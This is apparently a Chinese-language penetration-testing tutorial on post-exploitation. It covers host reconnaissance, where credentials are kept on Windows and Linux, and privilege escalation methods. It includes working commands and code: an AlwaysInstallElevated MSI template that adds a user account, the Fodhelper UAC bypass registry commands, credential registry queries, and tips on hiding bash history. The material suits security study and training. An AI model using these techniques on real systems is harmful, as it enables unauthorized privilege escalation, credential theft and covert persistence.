一、前言
在前期通过信息收集、漏洞利用等手段拿下了一台主机后,我们首先要对该主机进行详细的信息收集,充分的挖掘该主机所存在敏感信息,如:系统版本、用户、组等相关信息;我们收集主机信息主要目的并不是为了提权,只是提权能帮我们能收集到更多的信息
二、收集脚本
首先先推荐下两款信息收集的脚本:
winPEASany.exe:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe
linpeas.sh:https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
运行脚本,它可以帮我们收集以下信息,帮我们省去大量时间
1:系统信息。包含了系统版本、补丁、本地安全控制、计算机设置等。
2:用户信息。包含了用户信息、用户特权、活跃会话、自动登陆等。
3:进程信息
4:服务信息。主要用于提权。
5:应用信息。包含了活跃窗口、安装的软件、驱动、计划任务等。
6:网络信息。包含了开放端口、网卡接口、DNS缓存、共享目录等。
7:Windows 凭证。包含了仓库、凭证管理器、DPAPI、Wifi 密码、Kerberos 票据等。
8:浏览器信息。包含了常见浏览器的缓存凭证、收藏夹等。
9:文件和注册表信息。包含了系统敏感文件和注册表项、常见应用 (如 PuTTY) 的重要文件等
10:事件信息与其他
三、重要文件
现在我们来介绍下windows和linux中的一些重要文件,需要注意的是,如果我们权限不高的话,可能会无法访问
用户目录
Windows 用户目录下有这些目录:桌面、文档、下载、收藏等。我们甚至可能在用户目录中找到 SSH 密钥对,目录:C:\Users\zhi.ssh
SAM 数据库
在 C:\Windows\System32\config目录下,有着 SAM 数据库文件,SAM数据库保存着本地用户的密码哈希值。
powershell历史
该用户的 PowerShell 历史(可用来检擦入侵痕迹)C:\Users\zhi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine或者%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
Linux
/etc目录
**/etc/passwd:查看所有用户,有的时候 passwd 会存放用户的密码哈希
**/etc/shadow:默认需要提权查看。如果可读,可以尝试破解帐号密码的哈希值
**/etc/crontab:如果我们对计划任务有修改权限,可以协助我们提权
**/etc/krb5.keytab:加入域的Linux主机的主机账号的keytab文件。默认需提权,如果可读,可得主机账号的NTLM或者密钥值,来枚举域内信息。文件本身难以阅读,但我们可以通过工具 https://github.com/sosdave/KeyTabExtract/blob/master/keytabextract.py来解析
keytab 文件
指域用户的keytab文件,类似于krb5.keytab,域用户的keytab文件包含了用户的NTLM哈希,我们可以用来枚举域内信息或者用于哈希传递
ccache文件
默认存在于 /tmp 目录下,ccache 文件保存了 Linux 域主机的 Kerberos 凭证。如果有任何在线的域用户会话,我们可以在 /tmp 中看到 ccache 文件。默认情况下,只有用户自身以及 root 用户才能读取,因此当我们提升至 root 权限后,可以对 ccache 文件进行窃取。
home目录
Bash 历史
有可能会包含明文凭证,例如该用户运行过mysql ,我们就可以在历史中明文密码。
默认情况下只有用户自己以及 root 用户能查看。并且可以将 bash 历史重定向到 /dev/null来实现隐藏 bash 历史。
SSH 文件夹
SSH 私钥默认只有用户自身或者 root 用户可以访问。在提权之后,我们可以窃取用户的 ssh 私钥
Web 根目录
我们也可以在web应用的根目录中的配置文件找到一些凭证,如数据库的账号密码等
四、保存凭证
这里指的凭证,指的是明文帐号密码,如存放在文本中的明文密码、浏览器里的密码等
Windows开机自登陆
有些主机会设置开机自动登陆,那么明文的帐号密码会存储于注册表 HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon处
winpeas可以帮助我们枚举到,也可以使用cmd命令 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword进行查询注册表中的位置
浏览器保存的凭证
SharpDPAPI (https://github.com/GhostPack/SharpDPAPI))
SharpChrome (https://github.com/djhohnstein/SharpChromium))
这两个工具可以协助我们提取在浏览器上保存的凭证
应用里保存的凭证
一些应用也会保存凭证,例如MSSQL管理工具,同样的winpeas可以帮我们收集到
五、服务提权
配置不当的服务权限
攻击者对于服务本身具有特定权限,例如修改服务的二进制文件路径、停止/启动服务、修改其他服务参数等。因此,利用手法可以是将服务二进制文件指定为攻击者的载荷。
修改二进制文件路径:将服务的二进制文件指向恶意的载荷
停止与启动服务:使修改生效
启动类型:通过服务来维持访问
未用引号引用的服务路径
因为文件夹或者文件是允许存在空格的,例如文件夹 “C:\Program Files”,但如果不加引号,即 C:\Program Files,Windows会把 C:\Program当成目标文件夹。并且当服务区解析二进制文件的地址的时候,例如该二进制文件地址为 “C:\Program Files\Weak Services\Unquoted Service.exe”,那么从前往后依次解析到的是
C:\Program.exe
C:\Program Files\Weak.exe
C:\Program Files\Weak Services\Unquoted.exe
因此,如果我们想要利用,可以在上述任一一路径丢入一个二进制文件。但需要注意的是,我们需要对响应的文件夹具有写权限。
如果还是有些不理解,大家可以记住这样的模式:对于一个二进制文件的地址如果是 "C:\A B\C D\E F.exe"
我们可以在 C:*丢入 A.exe,即 C:\A.exe
我们可以在 "C:\A B"丢入 C.exe,即 "C:\A B\C.exe"
我们可以在 "C:\A B\C D"丢入 E.exe,即 "C:\A B\C D\E.exe"
可以使用命令查看系统中错误配置的路径*:**
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
配置不当的服务二进制文件
攻击者对于该服务的二进制文件具有修改权。因此,常规的利用手法是用生成一个恶意的服务二进制文件,替换掉原有的服务二进制文件。之后,该服务就会执行恶意的二进制文件
不用担心一时间无法仔细区分出这 3 种脆弱的服务配置,powerup.ps1脚本如果发现了上述任一类型,也就是只要是实际可利用的脆弱服务,它能帮助我们自动利用。
六、AlwaysInstallElevated提权
如果系统管理员在注册表以及主策略里配置了 AlwaysInstallElevated,就表示任何用户只要安装msi都是以system权限去执行
我们可以通过命令或winpeas脚本去帮我们查看是否开启了AlwaysInstallElevated.md
也可以通过命令** reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated**
和 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated进行查询
Metasploit可以生成MSI类型的载荷,但很容易被 AV/EDR 所检测。所以我们可以手动创建MSI 包裹文件。
我们可以使用工具 wix (https://github.com/wixtoolset/wix3) 来将包含二进制文件或者任意命令的模板 (https://github.com/KINGSABRI/MSI-AlwaysInstallElevated) 进行打包然后安装。
我们可以直接将要运行的载荷或者命令包含在里面,我们尝试执行添加新用户的命令,模板内容如下:
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="23e23deeqwddeweqwde" Version="0.0.1" Manufacturer="Test1" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package" />
<Media Id='1' />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222" KeyPath="yes"></Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles" />
</Feature>
<CustomAction
Id="Shell"
Execute="deferred"
Directory="TARGETDIR"
Impersonate="no"
ExeCommand="net user zhi 123.com /add"
Return="check"
/>
<InstallExecuteSequence>
<Custom Action="Shell" After="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
将该模板打包成 .msi 文件:
candle zhi.wxs
light zhi.wixobj
此时已经生成了zhi.msi文件,运行该文件即可创建用户名为zhi
七、SeImpersonatePrivilege提权
如果一个账户被授予 SeImpersonatePrivilege 特权,那么该账户可以模仿任何我们能获得引用或者句柄的令牌,可以通过whoami /priv或者 **whoami /all **来查看当前账户是否拥有该特权
确认了开启了SeImpersonatePrivilege,我们就可以用Potato工具去帮我们进行提权
八、UAC绕过
前提是你拿到了administrator权限,你还是执行或删除不了一些文件,这其实可能是UAC在阻扰你,此时我们就要绕过UAC,取得一个高的完整度权限,我们通过命令whoami /groups,可以发现,我们默认的等级是Medium
经典的 Fodhelper UAC 绕过的方式如下:
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
此时会以高完整度弹出一个powershell,我们再此执行后门,将得到一个最高权限的后门,此方法我在win10\win11试过都可以
九、CVE提权
这个没啥好说的,我们用winpeas脚本,扫出可能存在的cve漏洞,下载下来去尝试即可
十、总结
还有很多提权的方法文章没讲到,其实提权无非就几种方式,要么就是低权限用户借用了高权限用户的权限,要么就是内核有问题导致的,如:linux中的suid不就是root拥有文件且设置了suid,那我们运行该文件不就是root的权限了;亦或者windows中有一个服务是system启动的,我们对该服务又有修改的权限,我们就可以通过修改服务路径为我们后门的路径,这样服务运行起来时就会顺带我们的后门一起运行,这也达到了提权的目的;还有计划任务也是,一个文件有规律的运行,还是root执行的,且可被修改,我们就修改该文件内容为反弹shell的命令,等到其下一次运行,它就会弹回了一个root权限了,说白了提权千万种,借用权限很重要!